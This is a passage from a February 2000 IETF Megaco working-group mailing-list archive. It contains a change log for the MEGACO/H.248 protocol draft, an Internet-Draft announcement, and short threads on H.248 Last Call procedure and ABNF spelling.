 -- choices for parameter specifications in Local and Remote sent to the MG
are more thoroughly spelled out
 -- returns from the MG to the MGC are required to be fully conformant to
RFC 2327
 -- operation of ReserveValue and ReserveGroup spelled out
 -- bias toward symmetric coding is removed in Reservexx=false selection
rules.

7.1.9
 -- minor correction: event is continuity test result rather than continuity
tone detection
 -- Cisco compromise position on event handling (Chip Sharp, Event Handling
updated, 13/02/00) accepted: door is left open for new event processing
behaviours, and base behaviours are spelled out more thoroughly.  What is
there now represents no real change from what we had already except for a
change in terminology.  Also affects syntax in annexes A and B.
 -- added text to make embedding rules clearer.

7.1.10
 -- terminology change following from 7.1.9 changes.

7.1.11
 -- text describing signal completion event modified to indicate the ways in
which a signal may complete
 -- behaviour added for a new KeepActive parameter for signals -- covers
race condition identified by Christian Groves

7.1.14
Extensive touch-ups to clarify and extend digit map behaviour.
 -- DigitMap Descriptor's only role is define the value of a digit map.
 -- Digit maps can be defined on ROOT for global use.
 -- L and S inter-event timing specifiers are added and their effect on
behaviour described.
 -- added information on what happens when a digit map completes
 -- "extra" digit is no longer reported as part of the completion event --
processed as just another event
 -- text on relationship between digit maps and the events being mapped into
them is rewritten for more clarity (I hope)
 -- text added on effect of a dd/* or similar event specification
 -- S and L symbols removed from actual example -- unnecessary there
Also affects annexes A and B and step 11 in Appendix A.1.2.

7.1.17
 -- auditing of digit map current dial string is removed

7.1.18
 -- clarifying sentence added relating to examples
 -- changed table element in example table just removed a typo

7.2.2
 -- removed prohibition on Modify of an out-of-service termination -- want
to be able to modify state to "test" to run tests on it before restoring it
to service.

7.2.3
 -- removed the option for property values on a termination to revert to
those last set when it was in the null context.  The feeling was that this
option could lead to unexpected behaviour, particularly because the property
values needed just prior to a transition from null to an active context
differ from those wanted when the transition is in the opposite direction.

7.2.5
 -- as a consequence of allowing digit maps to be set on ROOT, the method of
requesting all digit maps set in the MG is changed
 -- meaning of the (ALL, wildcard) audit request is clarified

7.2.7
 -- the API is modified to show (consistently with Annexes A and B) that the
Notify must contain an ObservedEventsDescriptor, but may optionally also
contain an errorDescriptor
 -- provision is made for reporting error conditions not covered by events,
through reservation of requestID 0.  The exact mechanism still has to be
defined.

7.2.8
Cleaned up a little more
 -- API return result (if present) has same syntax as input
 -- test state eliminated as a transitional state during graceful
serviceChange of a termination
 -- apparently added a sentence regarding serviceChangeAddress, but the new
sentence looks redundant??
 -- 902 and 903 serviceChange reasons generalized

7.2.9 -- editorial

7.2.10
 -- noted that we actually use modified SDP in the MGC->MG direction.

7.3: No changes.  An I-D on error code use will be coming shortly.

9. -- actual port numbers added

9.1 modified from text inherited from MGCP, to take account of grouping of
commands in transactions

11.2 -- mentioned possibility of version mismatch

11.3 -- added rules for future modifications to the protocol, to ensure
backward compatibility

12 -- ITU-T package definitions no longer restricted to H.248 annexes

12.1 -- added text to indicate that packages can define new error codes

Annex A.2
 -- comment sets initial version to 1
 -- mtpAddress size corrected
 -- syntax added for optional three-way handshake (per annex D)
 -- extension marker added to various productions
 -- comment restricts wildcarding of package name
 -- event handling syntax changed per agreed mechanism
 -- MUX and modem descriptors changed to allow vendor-specific data
 -- added keepActive boolean for signals
A.3
 -- digit map symbol set modified
    N.B. "L", "S", "Z" are capitals only, "x" is small letter only
 -- typo fixed in definition of CR

Annex B
 -- ordering of properties and audit request interchanged in contextRequest
 -- errorDescriptor made optional in notifyRequest
 -- reserve becomes reserveValue and reserveGroup in localControl
    N.B. similar change not made in Annex A
 -- mtpAddress size corrected
 -- event handling syntax changed per agreed mechanism
 -- pkgdName syntax modified to eliminate possibility of */specific case
 -- event syntax modified to disallow keepActive only when it is on the same
level as a signalsDescriptor, to make consistent with intent and ASN.1
 -- added keepActive boolean for signals
 -- digit map symbol set modified
    N.B. "L", "S", "Z" are capitals only, "x" is small letter only

Annex C -- various -- in many cases, indicating type where it wasn't before

Annex D
D.1
 -- added text on routing of responses, actual port numbers to use,
implementor's note on MTU size for UDP/ALF
D.1.1 -- slight cleanup
D.1.2 -- syntax removed to Annexes A, B
D.1.5 -- procedure added for signalling possible message loss as a result of
disconnection
D.2 -- a couple of clarifications on differences from the UDP case

Annex E
E.1.2 -- generalized FL signal completion mode to cover other cases besides
failures
E.2    -- naming pattern deleted on the grounds that it doesn't have an
ASN.1 equivalent and is too related to provisioning
         Remark: the Megaco WG may well have a different view, in which case
we can create our own package extending base.
E.5.3 -- includes d0 as well as the others, for completeness.
E.6.2
 -- conditions for activation of digit map processing and monitoring for the
completion event are spelled out
       N.B.  refers to long-duration character "L" rather than "Z" as
possible component of DigitString parameter
 -- extra digit is deleted
 -- return in audit result is deleted
 -- type of DigitString is quotedString (not really necessary -- I foolishly
changed the syntax to match the example rather than v.v.)
 -- unambiguous match parameter value changed to "UM"
E.8.2 -- cut-and-paste error fixed
E.9.2 -- on and off hook reporting made unconditionally line state dependent
-- not just after change of control
E.10 -- various modifications to continuity test package
E.11 -- silence suppression property deleted
       N.B. need ability to negotiate use of this in Local and Remote
E.13
 -- name generalized from DS-0 (North American) to TDM circuit package
 -- echo control made an on/off property again, with details provisioned
against the termination

Appendix A -- a few odd corrections



Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 23 06:35:19 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA18455
	for ; Wed, 23 Feb 2000 06:35:19 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.987FF5F0@standards.nortelnetworks.com>; Wed, 23 Feb 2000 6:31:20 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 58398 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 23 Feb 2000 06:29:55 -0500
Received: from ietf.org (132.151.1.176) by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.00249FA0@standards.nortelnetworks.com>; Wed, 23 Feb 2000 6:19:54
          -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org
          (8.9.1a/8.9.1a) with ESMTP id GAA18182; Wed, 23 Feb 2000 06:23:00
          -0500 (EST)
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
Message-ID:  <200002231123.GAA18182@ietf.org>
Date:         Wed, 23 Feb 2000 06:23:00 -0500
Reply-To: Internet-Drafts@ietf.org
Sender: "Media Gateway Control (megaco)"
              
Comments:     RFC822 error:  Incorrect or incomplete address field found and
              ignored.
From: Internet-Drafts@ietf.org
Subject:      I-D ACTION:draft-ietf-megaco-protocol-07.txt
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Media Gateway Control Working Group of the IETF.

        Title           : MEGACO Protocol
        Author(s)       : F. Cuervo, B. Hill, N. Greene, C. Huitema,
                          A. Rayhan, B. Rosen, J. Segers
        Filename        : draft-ietf-megaco-protocol-07.txt
        Pages           : 150
        Date            : 22-Feb-00

MEGACO defines the protocols used between elements of a physically
decomposed multimedia gateway.  There are no functional differences from
a system view between a decomposed gateway, with distributed sub-
components potentially on more than one physical device, and a monol-
ithic gateway such as described in H.246. This document does not define
how gateways, multipoint control units or integrated voice response
units (IVRs) work.  Instead it creates a general framework that is suit-
able for these applications.

Packet network interfaces may include IP, ATM or possibly others.  The
interfaces will support a variety of SCN signalling systems, including
tone signalling, ISDN, ISUP, QSIG, and GSM. National variants of these
signalling systems will be supported where applicable.

The protocol definition in this document is common text with ITU Recom-
mendation H.248.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-megaco-protocol-07.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
        "get draft-ietf-megaco-protocol-07.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
        mailserv@ietf.org.
In the body type:
        "FILE /internet-drafts/draft-ietf-megaco-protocol-07.txt".

NOTE:   The mail server at ietf.org can return the document in
        MIME-encoded form by using the "mpack" utility.  To use this
        feature, insert the command "ENCODING mime" before the "FILE"
        command.  To decode the response(s), you will need "munpack" or
        a MIME-compliant mail reader.  Different MIME-compliant mail readers
        exhibit different behavior, especially when dealing with
        "multipart" MIME messages (i.e. documents which have been split
        up into multiple messages), so check your local documentation on
        how to manipulate these messages.


Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
        access-type="mail-server";
        server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:     <20000222090052.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-megaco-protocol-07.txt

--OtherAccess
Content-Type: Message/External-body;
        name="draft-ietf-megaco-protocol-07.txt";
        site="ftp.ietf.org";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID:     <20000222090052.I-D@ietf.org>

--OtherAccess--

--NextPart--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 23 08:59:15 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA22136
	for ; Wed, 23 Feb 2000 08:59:14 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BBDD3710@standards.nortelnetworks.com>; Wed, 23 Feb 2000 8:55:29 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 58505 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 23 Feb 2000 08:54:06 -0500
Received: from hoemlsrv.firewall.lucent.com (192.11.226.161) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.8A8F4C20@standards.nortelnetworks.com>; Wed, 23 Feb 2000
          8:54:06 -0500
Received: from hoemlsrv.firewall.lucent.com (localhost [127.0.0.1]) by
          hoemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id IAA18531
          for ; Wed, 23 Feb 2000 08:57:11
          -0500 (EST)
Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31])
          by hoemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          IAA18521 for ; Wed, 23 Feb 2000
          08:57:10 -0500 (EST)
Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id OAA18026; Wed,
          23 Feb 2000 14:57:07 +0100 (MET)
Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id
          OAA18022; Wed, 23 Feb 2000 14:57:06 +0100 (MET)
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4.2.2.20000216121657.00ae7ba0@localhost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38B3E6C3.16B77A7D@lucent.com>
Date:         Wed, 23 Feb 2000 14:55:15 +0100
Reply-To: John Segers 
Sender: "Media Gateway Control (megaco)"
              
From: John Segers 
Organization: Lucent Technologies
Subject:      Re: H.248 and Megaco Last Call
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Chip,

I've been catching up on unread mail, and encountered the after-the-fact
clarification that you sent out before the SG 16 plenary at which the
facts occurred (you could have told us earlier that your're a psychic!).

In fact, the US did take a position against approval of H.248 by SG 16.
Mr. Ferino specifically stated that this position was based on
procedural grounds, and went on to commend those involved for their hard
work during the Geneva meeting.  It was then decided to redetermine
H.248 instead.  This move allows for better synchronization of the ITU
and IETF processes.

Not having seen any objections to the draft agreement posted by Tom last
Friday, I presume that we can regard the redetermined text as a basis
for implementation work.

Cheers,

John

Chip Sharp wrote:
>
> At 09:39 AM 2/16/00 +0100, Tom Taylor wrote:
> >At some point today we will have text for H.248 which the ITU-T will
> >consider to be frozen.  I will make that text available, then we can go
> >through Last Call.  Our aim will be to find the bugs and document them.
> >My proposal is that the final RFC will be published unchanged from the
> >ITU text, but with a must-read appendix containing our Last Call
> >conclusions.
> >
> >The indications are very strong that the head of the U.S. delegation
> >will veto the decision of H.248 on procedural grounds.  It will
> >therefore be held over for decision in June.  That is why it is so
> >important to keep the ITU text intact -- to let their process work
> >without further delays.  They will be able to publish our Last Call
> >appendix as an H.248 Implementor's Guide, which, despite the name, is
> >used in the ITU-T to document bugs rather than just to give
> >interpretations.
>
> As a clarification after the fact, WP2 of SG16 decided on a consensus basis
> that H.248 would be "re-determined" for decision (approval) in June.  The
> US delegation did not veto decision of H.248.
>
> While IETF does not place restrictions on what people can or can't comment
> on, I request that people think very carefully about any substantive
> changes to the document.  Of course, if there is a broken mechanism within
> the scope of defined operation it should be fixed or if you find editorial
> problems, then they should be fixed.   If there is a new feature that you
> have to have, consider saving it for v2.
>
> Of course, it is up to the working group to decide what to do.
>
> Thanks,
> Chip
>
> ...snip...
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 306
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 23 13:26:00 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA29250
	for ; Wed, 23 Feb 2000 13:25:57 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F1FD6AC0@standards.nortelnetworks.com>; Wed, 23 Feb 2000 13:21:51 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 58711 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 23 Feb 2000 13:20:49 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.CCC89360@standards.nortelnetworks.com>; Wed, 23 Feb 2000 13:20:49
          -0500
Received: from chsharp-tecra ([171.68.157.148]) by mailman.cisco.com
          (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id KAA26193; Wed, 23 Feb 2000
          10:23:50 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
References: <4.2.2.20000216121657.00ae7ba0@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000223220132.00aec430@dogwood.cisco.com>
Date:         Wed, 23 Feb 2000 22:05:42 -0800
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: H.248 and Megaco Last Call
X-To:         John Segers 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <38B3E6C3.16B77A7D@lucent.com>

At 02:55 PM 2/23/00 +0100, John Segers wrote:
>Chip,
>
>I've been catching up on unread mail, and encountered the after-the-fact
>clarification that you sent out before the SG 16 plenary at which the
>facts occurred (you could have told us earlier that your're a psychic!).
>
>In fact, the US did take a position against approval of H.248 by SG 16.
>Mr. Ferino specifically stated that this position was based on
>procedural grounds, and went on to commend those involved for their hard
>work during the Geneva meeting.  It was then decided to redetermine
>H.248 instead.  This move allows for better synchronization of the ITU
>and IETF processes.

I imagine this must have taken place in the opening plenary or during part
of the WP2 plenary when I was out of the room.   My apologies if I missed it.


>Not having seen any objections to the draft agreement posted by Tom last
>Friday, I presume that we can regard the redetermined text as a basis
>for implementation work.
>
>Cheers,
>
>John
>
>Chip Sharp wrote:
> >
> > At 09:39 AM 2/16/00 +0100, Tom Taylor wrote:
> > >At some point today we will have text for H.248 which the ITU-T will
> > >consider to be frozen.  I will make that text available, then we can go
> > >through Last Call.  Our aim will be to find the bugs and document them.
> > >My proposal is that the final RFC will be published unchanged from the
> > >ITU text, but with a must-read appendix containing our Last Call
> > >conclusions.
> > >
> > >The indications are very strong that the head of the U.S. delegation
> > >will veto the decision of H.248 on procedural grounds.  It will
> > >therefore be held over for decision in June.  That is why it is so
> > >important to keep the ITU text intact -- to let their process work
> > >without further delays.  They will be able to publish our Last Call
> > >appendix as an H.248 Implementor's Guide, which, despite the name, is
> > >used in the ITU-T to document bugs rather than just to give
> > >interpretations.
> >
> > As a clarification after the fact, WP2 of SG16 decided on a consensus basis
> > that H.248 would be "re-determined" for decision (approval) in June.  The
> > US delegation did not veto decision of H.248.
> >
> > While IETF does not place restrictions on what people can or can't comment
> > on, I request that people think very carefully about any substantive
> > changes to the document.  Of course, if there is a broken mechanism within
> > the scope of defined operation it should be fixed or if you find editorial
> > problems, then they should be fixed.   If there is a new feature that you
> > have to have, consider saving it for v2.
> >
> > Of course, it is up to the working group to decide what to do.
> >
> > Thanks,
> > Chip
> >
> > ...snip...
> > Support NetAid!  http://www.netaid.org
> > --------------------------------------------------
> > Chip Sharp                 Consulting Engineering
> > Cisco Systems              Telco Bio-region
> > Reality - Love it or Leave it.
> > --------------------------------------------------
>
>--
>John Segers                                  email: jsegers@lucent.com
>Lucent Technologies                                        Room HE 306
>Dept. Forward Looking Work                      phone: +31 35 687 4724
>P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 25 04:07:13 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA03974
	for ; Fri, 25 Feb 2000 04:07:13 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.46CB68F0@standards.nortelnetworks.com>; Fri, 25 Feb 2000 4:03:30 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 59776 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 25 Feb 2000 04:02:14 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.193E5690@standards.nortelnetworks.com>; Fri, 25 Feb 2000
          4:02:14 -0500
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
          by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with ESMTP
          id KAA16149 for ; Fri, 25 Feb
          2000 10:05:27 +0100 (MET)
Received: from greymse1.lmf.ericsson.se (greymse1.lmf.ericsson.se
          [131.160.1.6]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with
          ESMTP id LAA06736 for ; Fri, 25
          Feb 2000 11:05:26 +0200 (EET)
Received: from lmf.ericsson.se (E005004B52C74-udp244020.lmf.ericsson.se
          [131.160.75.231]) by greymse1.lmf.ericsson.se (8.8.6
          (PHNE_17135)/8.8.6) with ESMTP id LAA12025 for
          ; Fri, 25 Feb 2000 11:05:25
          +0200 (EET)
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38B645D3.D9DEFD58@lmf.ericsson.se>
Date:         Fri, 25 Feb 2000 11:05:23 +0200
Reply-To: Christer Holmberg 
Sender: "Media Gateway Control (megaco)"
              
From: Christer Holmberg 
Subject:      ABNF transactionID
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi,

In Annex B, transactionAck is defined as transactionID / ...

In all other places, transactionID is written with capital T, also where
it is defined (TransactionID = UINT32).

A small spelling error, or?


Regards,

Christer Holmberg
Ericsson Finland


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 25 04:15:14 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04022
	for ; Fri, 25 Feb 2000 04:15:13 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.65CF35A0@standards.nortelnetworks.com>; Fri, 25 Feb 2000 4:11:32 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 59794 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 25 Feb 2000 04:09:55 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.2C00A020@standards.nortelnetworks.com>; Fri, 25 Feb 2000 4:09:55
          -0500
Received: from chsharp-tecra (sj-dial-5-13.cisco.com [10.19.223.14]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          BAA22415; Fri, 25 Feb 2000 01:12:35 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
References: 
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000225011057.00ac5eb0@dogwood.cisco.com>
Date:         Fri, 25 Feb 2000 01:12:14 -0800
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: ABNF transactionID
X-To:         Christer Holmberg 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <38B645D3.D9DEFD58@lmf.ericsson.se>

At 11:05 AM 2/25/00 +0200, Christer Holmberg wrote:
>Hi,
>
>In Annex B, transactionAck is defined as transactionID / ...
>
>In all other places, transactionID is written with capital T, also where
>it is defined (TransactionID = UINT32).
>
>A small spelling error, or?

While it would be nicer to have consistency, ABNF is case-insensitive so
the two are equivalent according to ABNF.



>Regards,
>
>Christer Holmberg
>Ericsson Finland

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 25 04:35:20 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04134
	for ; Fri, 25 Feb 2000 04:35:19 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.329C7DC0@standards.nortelnetworks.com>; Fri, 25 Feb 2000 4:31:34 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 59824 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 25 Feb 2000 04:29:37 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.EC792B40@standards.nortelnetworks.com>; Fri, 25 Feb 2000
          4:29:37 -0500
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
          by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with ESMTP
          id KAA25264; Fri, 25 Feb 2000 10:32:51 +0100 (MET)
Received: from greymse1.lmf.ericsson.se (greymse1.lmf.ericsson.se
          [131.160.1.6]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with
          ESMTP id LAA08014; Fri, 25 Feb 2000 11:32:50 +0200 (EET)
Received: from lmf.ericsson.se (E005004B52C74-udp244020.lmf.ericsson.se
          [131.160.75.231]) by greymse1.lmf.ericsson.se (8.8.6
          (PHNE_17135)/8.8.6) with ESMTP id LAA19743; Fri, 25 Feb 2000 11:32:49
          +0200 (EET)
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4.2.2.20000225011057.00ac5eb0@dogwood.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38B64C3F.42595EA6@lmf.ericsson.se>
Date:         Fri, 25 Feb 2000 11:32:47 +0200
Reply-To: Christer Holmberg 
Sender: "Media Gateway Control (megaco)"
              
From: Christer Holmberg 
Subject:      Re: ABNF transactionID
X-cc:         chsharp@cisco.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi,

>While it would be nicer to have consistency, ABNF is case-insensitive so
>the two are equivalent according to ABNF.

I know, and that's why I just wanted to make sure that it is a spelling
error in the Annex.

Christer


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 25 07:14:29 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05851
	for ; Fri, 25 Feb 2000 07:14:29 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6DA27FD0@standards.nortelnetworks.com>; Fri, 25 Feb 2000 7:10:42 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 59927 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 25 Feb 2000 07:09:05 -0500
Received: from smtp2.cluster.oleane.net by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.33721B40@standards.nortelnetworks.com>; Fri, 25 Feb 2000 7:09:05
          -0500
Received: from oleane  (dyn-1-1-148.Vin.dialup.oleane.fr [195.25.4.148])  by
          smtp2.cluster.oleane.net  with SMTP id NAA65423; Fri, 25 Feb 2000
          13:11:48 +0100 (CET)
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_0013_01BF7F91.619E1A00"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Message-ID:  <001601bf7f89$01635f40$0401a8c0@oleane.com>
Date:         Fri, 25 Feb 2000 13:08:17 +0100
Reply-To: Peter Lewis 
Sender: "Media Gateway Control (megaco)"
              
From: Peter Lewis 
Subject:      The VoDSL 2000 Conference
X-To:         rem-cof@es.net
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_0013_01BF7F91.619E1A00
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,
=20
The VoDSL 2000 Conference will stand in Paris next 28-31 March. Key =
speakers, case studies: take a look at:  =
http://www.upperside.fr/bavodsl.htm
=20


------=_NextPart_000_0013_01BF7F91.619E1A00
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable











Hello,


 


The VoDSL 2000 Conference will stand =
in Paris=20
next 28-31 March. Key speakers, case studies: take a look at:  http://www.upperside.fr/bavo=
dsl.htm


 


 


------=_NextPart_000_0013_01BF7F91.619E1A00--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 25 09:46:32 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09576
	for ; Fri, 25 Feb 2000 09:46:32 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8C36D1C0@standards.nortelnetworks.com>; Fri, 25 Feb 2000 9:41:53 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 60038 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 25 Feb 2000 09:40:52 -0500
Received: from mailhub.fokus.gmd.de by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.015C5C60@standards.nortelnetworks.com>; Fri, 25 Feb 2000 9:30:51
          -0500
Received: from heartofgold (dhcp108 [195.37.78.236]) by mailhub.fokus.gmd.de
          (8.8.8/8.8.8) with SMTP id OAA18603; Fri, 25 Feb 2000 14:46:06 +0100
          (MET)
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
